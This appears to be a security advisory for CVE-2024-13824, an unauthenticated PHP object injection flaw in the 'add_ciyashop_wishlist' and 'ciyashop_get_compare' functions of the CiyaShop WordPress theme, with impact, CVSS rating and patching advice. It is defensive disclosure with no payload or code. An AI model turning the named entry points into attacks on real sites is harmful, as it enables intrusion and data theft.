CVE-2024-13824
Overview
This vulnerability is a PHP Object Injection flaw caused by unsafe deserialization of untrusted input within the Potenzaglobalsolutions CiyaShop WordPress theme. Specifically, the functions 'add_ciyashop_wishlist' and 'ciyashop_get_compare' improperly handle serialized PHP objects, allowing manipulation of object properties during deserialization. The affected component is the CiyaShop theme up to and including version 4.19.0, where input validation is insufficient to prevent injection of malicious serialized payloads.
Vulnerability Description
The CiyaShop - Multipurpose WooCommerce Theme theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.19.0 via deserialization of untrusted input in the 'add_ciyashop_wishlist' and 'ciyashop_get_compare' functions. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.
Impact
An unauthenticated attacker can exploit this vulnerability remotely by sending crafted serialized objects to the vulnerable functions, potentially leading to arbitrary code execution, file deletion, or data disclosure if a suitable POP chain exists in other installed plugins or themes. The attack requires no user interaction or privileges (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling full confidentiality, integrity, and availability compromise of the affected WordPress site. This can result in severe business impacts including data breaches, website defacement, or service disruption.
Solution
Users should upgrade the Potenzaglobalsolutions CiyaShop theme to a version later than 4.19.0 where this vulnerability is addressed. Detailed patch instructions and version updates are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/b69c86f4-d81d-4e14-baff-3402008bb9c6. If immediate patching is not feasible, temporarily disabling the affected theme or removing untrusted plugins that provide POP chains can mitigate exploitation risk.

Full Analysis
The vulnerability present in the CiyaShop - Multipurpose WooCommerce Theme for WordPress is characterized by a critical flaw in its handling of PHP object serialization and deserialization. Specifically, this issue arises from the deserialization of untrusted input in the functions responsible for adding items to a wishlist and retrieving comparison data. This flaw allows unauthenticated attackers to inject arbitrary PHP objects, potentially leading to severe consequences if exploited. The absence of a known Property-Oriented Programming (POP) chain within the vulnerable software means that the risk is contingent upon the presence of additional plugins or themes that may facilitate such an attack. If a POP chain exists, it could enable attackers to execute a range of malicious actions, including file deletion, sensitive data retrieval, or arbitrary code execution.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request that exploits the deserialization process, injecting a PHP object that is capable of manipulating the application's behavior. Given that the functions in question do not require authentication, the barrier to entry for potential attackers is significantly lowered. This ease of access makes it feasible for malicious actors to target a wide array of WordPress installations utilizing the affected theme, especially those that may not have robust security measures in place. Furthermore, the potential for exploitation increases in environments where multiple plugins or themes are installed, as the presence of a POP chain can significantly amplify the impact of the initial vulnerability.
The real-world implications of this vulnerability are substantial, particularly for businesses relying on the CiyaShop theme for their e-commerce operations. An attacker leveraging this flaw could gain unauthorized access to sensitive customer information, including payment details and personal data, leading to data breaches that can severely damage a company's reputation and customer trust. Additionally, the ability to execute arbitrary code could allow attackers to deploy malware, redirect users to phishing sites, or disrupt business operations, resulting in financial losses and potential legal ramifications. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that organizations must take immediate action to assess their risk exposure.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First and foremost, it is essential to update the CiyaShop theme to the latest version, as this will patch the vulnerability and reduce the risk of exploitation. Regularly auditing installed plugins and themes for known vulnerabilities can further enhance security posture. Employing web application firewalls (WAFs) can help to filter out malicious requests before they reach the application layer, providing an additional layer of defense. Moreover, implementing strict input validation and sanitization processes can mitigate the risks associated with deserialization vulnerabilities. Organizations should also consider conducting regular security assessments and penetration testing to identify and remediate potential weaknesses in their WordPress installations.
In conclusion, the vulnerability within the CiyaShop theme represents a significant risk to WordPress users, particularly those operating e-commerce platforms. The potential for exploitation without authentication, combined with the possible consequences of a successful attack, necessitates immediate attention from affected organizations. By prioritizing timely updates, employing robust security measures, and fostering a culture of security awareness, businesses can better protect themselves against the threats posed by such vulnerabilities and ensure the integrity of their online operations.
